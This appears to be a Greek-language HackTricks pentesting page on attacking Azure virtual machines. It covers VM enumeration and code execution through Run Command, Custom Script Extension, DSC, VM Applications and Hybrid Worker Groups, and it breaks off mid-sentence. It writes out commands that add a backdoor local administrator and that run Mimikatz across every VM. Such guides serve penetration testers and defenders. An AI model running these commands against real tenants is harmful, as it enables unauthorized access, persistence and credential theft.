Az - Virtual Machines & Network

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Βασικές πληροφορίες

Από τα έγγραφα: Οι εικονικές μηχανές Azure είναι μία από τις πολλές μορφές επεκτάσιμων υπολογιστικών πόρων κατά παραγγελία που προσφέρει η Azure. Συνήθως, επιλέγετε μία εικονική μηχανή όταν χρειάζεστε περισσότερο έλεγχο επί του περιβάλλοντος υπολογισμού από ό,τι προσφέρουν οι άλλες επιλογές. Αυτό το άρθρο σας παρέχει πληροφορίες σχετικά με το τι πρέπει να λάβετε υπόψη πριν δημιουργήσετε μία εικονική μηχανή, πώς να τη δημιουργήσετε και πώς να τη διαχειριστείτε.

Πληροφορίες Δικτύου Azure

Τα δίκτυα Azure περιέχουν διάφορες οντότητες και τρόπους ρύθμισής τους. Μπορείτε να βρείτε μια σύντομη περιγραφή, παραδείγματα και εντολές απαρίθμησης των διαφορετικών οντοτήτων δικτύου Azure στο:

pageAz - Azure Network

Azure Bastion

Το Azure Bastion προσφέρει μια ασφαλή, πλήρως διαχειριζόμενη λύση πρόσβασης RDP (Remote Desktop Protocol) και SSH (Secure Shell) μέσω SSL μέσω του πύλης Azure. Είναι ενσωματωμένο σε ένα εικονικό δίκτυο Azure, επιτρέποντας συνδεσιμότητα RDP και SSH σε εικονικές μηχανές χρησιμοποιώντας ιδιωτικές διευθύνσεις IP, αποφεύγοντας την ανάγκη για δημόσιες διευθύνσεις IP. Αυτό το καθιστά μια πιο ασφαλή και βολική εναλλακτική λύση σε σχέση με τις παραδοσιακές μεθόδους που περιλαμβάνουν την ανάθεση δημόσιων διευθύνσεων IP και τις ρυθμίσεις κανόνων NSG για πρόσβαση σε εικονικές μηχανές. Οι προγραμματιστές και το προσωπικό IT μπορούν να έχουν ασφαλή πρόσβαση σε εικονικές μηχανές από το πύλη Azure χρησιμοποιώντας τους web browsers τους, απλοποιώντας τη διαδικασία για περιβάλλοντα ανάπτυξης και δοκιμής.

Για να εμφανίσετε όλους τους Azure Bastion Hosts στη συνδρομή σας, μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή:

az network bastion list --query "[].{name:name, resourceGroup:resourceGrou, location:location}" -o table

Απαρίθμηση Εικονικών Μηχανών (VM)

Η απαρίθμηση των εικονικών μηχανών (VM) είναι ένα σημαντικό βήμα στη διαδικασία της εισβολής σε ένα σύστημα. Εδώ είναι μερικές τεχνικές που μπορείτε να χρησιμοποιήσετε για να απαριθμήσετε τις VM σε ένα περιβάλλον Azure:

1. Χρήση του Azure Portal

Μπορείτε να χρησιμοποιήσετε το Azure Portal για να απαριθμήσετε τις VM που υπάρχουν στο περιβάλλον σας. Απλά συνδεθείτε στο Azure Portal και πλοηγηθείτε στην ενότητα "Εικονικές μηχανές" για να δείτε τη λίστα των VM.

2. Χρήση του Azure CLI

Μπορείτε επίσης να χρησιμοποιήσετε το Azure CLI για να απαριθμήσετε τις VM. Ανοίξτε ένα τερματικό και εκτελέστε την εντολή az vm list για να δείτε τη λίστα των VM.

3. Χρήση του Azure PowerShell

Με το Azure PowerShell, μπορείτε επίσης να απαριθμήσετε τις VM. Ανοίξτε το PowerShell και εκτελέστε την εντολή Get-AzVM για να δείτε τη λίστα των VM.

4. Χρήση του Azure REST API

Τέλος, μπορείτε να χρησιμοποιήσετε το Azure REST API για να απαριθμήσετε τις VM. Κάντε μια αίτηση GET στο https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachines?api-version=2020-06-01 για να λάβετε τη λίστα των VM.

Αυτές είναι μερικές από τις τεχνικές που μπορείτε να χρησιμοποιήσετε για να απαριθμήσετε τις VM σε ένα περιβάλλον Azure. Από εκεί, μπορείτε να προχωρήσετε σε άλλα βήματα της εισβολής, όπως την εκμετάλλευση ευπάθειών ή την απόκτηση πρόσβασης στις VM.

# Get readable VMs
Get-AzVM | fl
# Lis running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile

# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>

#Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>

Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)

Εκτέλεση εντολών σε έναν εικονικό υπολογιστή (VM)

Σύνδεση AAD σε έναν VM

Είναι δυνατόν να επιτραπεί η πρόσβαση σε χρήστες που έχουν πιστοποιηθεί μέσω του AzureAD. Για παράδειγμα, αν προσπαθήσετε να αποκτήσετε πρόσβαση σε έναν linux VM με την εντολή ssh username@azure-corp.com@1.1.1.1 (είναι σημαντικό να χρησιμοποιήσετε το email που χρησιμοποιείται με το azurecorp κατά την προσπάθεια σύνδεσης), μπορεί να εμφανιστεί ένα σφάλμα όπως:

(username@azure-corp.com@1.1.1.1) This preview capability is not for production use. When you sign in, verify the name of the app on the sign-in screen is "Azure Linux VM Sign-in" and the IP address of the target VM is correct.

To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code DT4PNSTGR to authenticate. Press ENTER when ready.

Απλά ακολουθήστε αυτές τις οδηγίες πηγαίνοντας στη διεύθυνση https://microsoft.com/devicelogin και δηλώνοντας τον κωδικό, χρησιμοποιήστε το email και τον κωδικό πρόσβασης ως διαπιστευτήρια και θα μπορείτε να συνδεθείτε μέσω SSH (αν αυτός ο χρήστης έχει αρκετές άδειες για να το κάνει: ρόλος Virtual Machine Administrator Login ή Virtual Machine User Login).

Εκτέλεση Εντολής

# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
Invoke-AzVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose
## Another way
Invoke-AzureRmVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose

# Content of the script
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
New-LocalUser -Name new_user -Password $passwd
Add-LocalGroupMember -Group Administrators -Member new_user
# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt

Εκτέλεση Προσαρμοσμένης Επέκτασης Σεναρίου

Οι επεκτάσεις εικονικών μηχανών (VM) του Azure είναι μικρές εφαρμογές που παρέχουν ρυθμίσεις μετά την αναπτυξη και αυτοματοποίηση εργασιών σε εικονικές μηχανές Azure. Για παράδειγμα, αν μια εικονική μηχανή απαιτεί εγκατάσταση λογισμικού, προστασία από ιούς ή τη δυνατότητα εκτέλεσης ενός σεναρίου μέσα σε αυτήν, μπορείτε να χρησιμοποιήσετε μια επέκταση VM.

Συνεπώς, αν έχετε πρόσβαση για να το γράψετε, μπορείτε να εκτελέσετε αυθαίρετο κώδικα:

# Microsoft.Compute/virtualMachines/extensions/write
Set-AzVMExtension -ResourceGroupName "Research" -ExtensionName "ExecCmd" -VMName "infradminsrv" -Location "Germany West Central" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add"}'

DesiredConfigurationState (DSC)

Το DesiredConfigurationState (DSC) είναι ένα εργαλείο PowerShell παρόμοιο με το Ansible, που χρησιμοποιείται για τη ρύθμιση ενός υπολογιστή μέσω κώδικα. Το DSC ενσωματώνεται με το Azure, επιτρέποντας το ανέβασμα συγκεκριμένων αρχείων ρύθμισης. Αυτά τα αρχεία πρέπει να συμμορφώνονται με μια αυστηρή σύνταξη. Ειδικότερα, η επέκταση DSC στο Azure μπορεί να εκτελέσει εντολές από αρχεία που πληρούν ορισμένα κριτήρια μορφοποίησης, ακόμα κι αν η σύνταξη δεν είναι σωστή για τα πρότυπα του DSC, όπως φαίνεται στο παρακάτω σχήμα.

Η εκτέλεση αυτών των εντολών διευκολύνεται από την Publish-AzVMDscConfiguration συνάρτηση στο Az PowerShell. Οι απαιτήσεις περιλαμβάνουν ένα αρχείο .PS1 με μια καθορισμένη συνάρτηση και το αρχείο πρέπει να συμπιεστεί σε ένα αρχείο .zip. Ακόμα κι αν η σύνταξη δεν είναι ακριβής για το DSC, ο κώδικας θα εκτελεστεί. Ωστόσο, η επέκταση θα σημειώσει την κατάσταση εκτέλεσης ως "αποτυχία" και δεν θα είναι ορατή καμία έξοδος από την εντολή λόγω της αντικατάστασης της κατάστασης από το μήνυμα αποτυχίας.

Ορισμοί Εφαρμογών VM

Οι Ορισμοί Εφαρμογών VM επιτρέπουν την επαναλαμβανόμενη αναπτυξη εκδόσεων εφαρμογών σε ένα Azure VM. Αυτός ο πόρος υποστηρίζει την ανάπτυξη και ενημέρωση εφαρμογών σε διάφορα VMs. Για να το ρυθμίσετε, απαιτούνται αρκετά βήματα, που περιλαμβάνουν εντολές όπως New-AzGalleryApplication και New-AzGalleryApplicationVersion στο Az PowerShell.

Η εκτέλεση εφαρμογών ή εντολών μέσω αυτής της μεθόδου περιλαμβάνει το "VMAppExtension", το οποίο εγκαθίσταται αυτόματα όταν μια εφαρμογή εφαρμόζεται σε ένα VM. Η επέκταση ανακτά το αρχείο από το καθορισμένο URI και το ονομάζει ακριβώς όπως η εφαρμογή, χωρίς καμία επέκταση. Για να εκτελεστεί σωστά το αρχείο, το πεδίο "ManageActions" στην κλήση του REST API πρέπει να ρυθμιστεί ώστε να μετονομάσει το αρχείο με την κατάλληλη επέκταση. Η ρύθμιση αυτής της μεθόδου, όταν ολοκληρωθεί, θα μοιάζει με τη δομή που φαίνεται στο παρακάτω σχήμα.

Ωστόσο, αυτή η μέθοδος εκτέλεσης είναι σχετικά αργή, απαιτώντας περίπου 3-4 λεπτά για να εκτελέσει μια εφαρμογή ή μια εντολή. Τα αρχεία που σχετίζονται με αυτήν τη διαδικασία αποθηκεύονται σε συγκεκριμένους φακέλους (C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Downloads\ για την αντιγραφή της εφαρμογής και C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Status\ για την κατάσταση εκτέλεσης).

Και οι δύο τεχνικές παρέχουν μοναδικούς τρόπους εκτέλεσης εντολών και ανάπτυξης εφαρμογών σε περιβάλλοντα Azure, με κάθε μία να έχει τις δικές της απαιτήσεις, βήματα και παρατηρήσεις.

Hybrid Worker Groups (HWGs) στο Azure

Τα Hybrid Worker Groups (HWGs) είναι μια δυνατότητα στο Azure που επιτρέπει την εκτέλεση Runbooks, που έχουν ρυθμιστεί σε έναν λογαριασμό Automation, σε ένα Azure Virtual Machine (VM) που ανήκει στον καθορισμένο HWG. Αυτή η εκτέλεση διευκολύνεται μέσω μιας επέκτασης που εγκαθίσταται στο VM και αναπτύσσει τον κώδικα του Runbook στο VM. Ένα σημαντικό στοιχείο αυτής της διαδικασίας είναι ότι οι πραγματικές πιστοποιήσεις δεν είναι παράγοντας στην εκτέλεση επειδή ο κώδικας εκτελείται με αυξημένα δικαιώματα, ειδικότερα ως SYSTEM ή root, όπως φαίνεται στο παρακάτω σχήμα.

Ένα σημαντικό στοιχείο για όσους χρησιμοποιούν VMs με Windows 10 είναι η ανάγκη να καθορίσουν την έκδοση του PowerShell για το Runbook. Πρέπει να οριστεί να εκτελείται ως PowerShell Έκδοση 5.1 αντί για την 7.1. Αυτή η απαίτηση πηγάζει από το γεγονός ότι το PowerShell 7.1 δεν είναι εγκατεστημένο από προεπιλογή σε αυτά τα VMs, προκαλώντας αποτυχία στην ε

Last updated